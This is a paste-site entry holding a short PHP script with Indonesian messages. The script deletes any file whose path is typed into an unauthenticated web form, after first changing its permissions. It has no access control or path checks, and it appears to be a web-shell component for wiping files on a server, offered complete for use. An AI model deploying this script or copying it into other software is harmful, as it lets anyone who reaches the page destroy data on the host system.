Untitled


SUBMITTED BY: Guest

DATE: Oct. 16, 2024, 11:10 a.m.

FORMAT: Text only

SIZE: 428 Bytes

HITS: 60

  1. <?php
  2. if (isset($_POST['delete'])) {
  3. if (file_exists($_POST['path'])) {
  4. chmod($_POST['path'], 0644);
  5. if (unlink($_POST['path'])) {
  6. echo 'Berhasil';
  7. } else {
  8. echo 'gagal';
  9. }
  10. } else {
  11. echo 'file tidak ada';
  12. }
  13. }
  14. ?>
  15. <form action="" method="post">
  16. <input type="text" name="path">
  17. <button type="submit" name="delete">Delete</button>
  18. </form>

comments powered by Disqus